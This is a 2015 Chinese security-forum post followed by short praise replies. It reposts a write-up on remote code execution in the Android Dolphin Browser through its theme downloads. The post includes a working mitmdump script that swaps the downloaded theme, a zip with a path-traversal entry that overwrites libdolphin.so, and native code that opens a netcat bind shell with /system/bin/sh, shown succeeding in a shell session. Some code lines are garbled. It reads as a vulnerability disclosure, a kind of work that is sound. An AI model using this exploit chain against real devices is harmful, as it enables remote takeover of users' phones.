浮尘 发表于 2015-8-24 12:40:25

安卓海豚浏览器中的远程代码执行

http://image.3001.net/images/20150824/14403843775.jpg!small
概述

攻击者有能力通过安卓海豚浏览器控制用户的网络通信数据,可以修改下载和应用浏览器新主题的函数。通过利用该函数,攻击者可以写入任意文件,这些文件将会在用户设备中的浏览器环境下变成代码执行。整个攻击唯一需要用户做的只是选择,下载,应用主题。

截止2015年7月27日,谷歌应用商店数据显示,海豚浏览器已经有1亿的下载量。

漏洞分析

安卓版本的海豚浏览器有一个功能就是允许用户通过下载,应用主题来对浏览器进行个性化。当用户选择一个新主题,这个主题会通过HTTP方式进行下载:

GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp
该主题文件将保存到以下位置:

root@hammerhead:/sdcard/Download # ls
Red_roof.dwp
该文件的后缀名“dwp”仅为海豚浏览器自己定制的后缀名,事实上这个文件是一个简单的zip压缩文件。

$ file Red_roof.dwp
Red_roof.dwp: Zip archive data, at least v2.0 to extract
当我们检测其中内容时,可以发现其中用来应用目标主题的特殊数据:

unzip -l Red_roof.dwp.orig
Archive:Red_roof.dwp.orig
Length   Date   Time    Name
--------    ----   ----    ----
    1816512-18-14 09:57   icon.jpg
      23712-19-14 14:35   theme.config
   13138412-18-14 09:54   wallpaper.jpg
--------                   -------
   149786                   3 files
后来通过对我们选择,下载,应用的主题进行逆向工程处理。发现该功能还可以解压主题文件并应用主题的其他配置。

漏洞利用

在利用中第一步即要代理下载通信数据并注入修改主题中,这需要我们在测试设备中配置一个代理,然后写入一个简单的内联脚本用来使用mitmdump

def request(context, flow):
    if not flow.request.host == "opsen-static.dolphin-browser.com" \
            or not flow.request.path.endswith(".dwp"):
      return
    # Build response
    #
    response = http.HTTPResponse(,
                                 200,
                                 "OK",
                                 odict.ODictCaseless([["Content-Type", "application/zip"]]),
                                 "yo!")
    # Inject theme
    #
    try:
      with open("Red_roof.dwp", "r") as f:
            modified = f.read()
            response.content = modified
            response.headers["Content-Length"] =
            f.close()
    except IOError as e:
      raise e
    # Return response
    #
    flow.reply(response)
我们还需要利用浏览器主题解压过程。由于这类案例很多,这里我们就不继续详述了。

第一次验证将修改主题注入到下载响应中,并成功实现对海豚浏览器数据目录写入任意文件。为了获得代码执行权限,接下来我们需要找到一个可以进行覆盖的文件。

无意间瞄了瞄,发现一个就在文件目录之中的库—— libdolphin.so

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd files/
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # ls
AppEventsLogger.persistedevents
EN
icons_cache
libdolphin.so
name_service
splash.on
这似乎就是上天赐给我们的面包啊,我们可以写入完整的代码执行了。由此我制作了一个相应的payload:

unzip -l Red_roof.dwp
Archive:Red_roof.dwp
Length   Date   Time    Name
--------    ----   ----    ----
    1816512-18-14 09:57   icon.jpg
      23712-19-14 14:35   theme.config
   13138412-18-14 09:54   wallpaper.jpg
      708-21-15 20:26   ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so
--------                   -------
   159142                   4 files
成功注入这个zip文件之后,从logcat滚动的输出,我发现了一个gem:

D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e0c318
E/dalvikvm( 2573): dlopen("/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so") failed: dlopen failed: "/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so" is too small to be an ELF executable
....
...
.
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # cat libdolphin.so
foobar
接着,我们需要创建一个可以用来覆盖原libdolphin.so的库:

int JNI_OnLoad( JavaVM* vm, void* reserved )
{
    system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
....
..
.
}
使用NDK进行编译,使用的Python脚本是用来创建一个主题payload然后写入库中。

然后完全删除海豚浏览器并重新进行安装,然后再次进行攻击。验证是否成功拦截并注入我们的主题payload

10.174.90.159 GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp
<< 200 OK 150.16kB
我们应用这个主题,为了确定已经成功加载,我们重启浏览器:

D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
现在我们应该可以连接到netcat:

└[~]> nc 10.174.90.159 6666
id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0
ls
acct
cache
charger
config
d
data
default.prop
dev
etc
file_contexts
firmware
fstab.hammerhead
init
init.environ.rc
init.hammerhead.rc
init.hammerhead.usb.rc
init.rc
init.trace.rc
init.usb.rc
mnt
persist
proc
property_contexts
res
root
sbin
sdcard
seapp_contexts
sepolicy
storage
sys
system
tmp-mksh
ueventd.hammerhead.rc
ueventd.rc
vendor

小龙 发表于 2015-8-24 23:15:24

支持,看起来不错呢!

andy99 发表于 2015-8-25 10:18:51

不错的,写得还好,

borall 发表于 2015-8-25 23:50:52

支持,看起来不错呢!

H.U.C—Prince 发表于 2015-8-26 12:59:39

支持中国红客联盟(ihonker.org)

ruguoruo 发表于 2015-8-26 13:55:40

xiaoqqf4 发表于 2015-8-26 14:33:27

支持中国红客联盟(ihonker.org)

H.U.C—Prince 发表于 2015-8-27 06:01:33

支持中国红客联盟(ihonker.org)

ayang 发表于 2015-8-27 14:03:20

还是不错的哦,顶了

wanmznh 发表于 2015-8-27 19:08:11

支持中国红客联盟(ihonker.org)
页: [1]
查看完整版本: 安卓海豚浏览器中的远程代码执行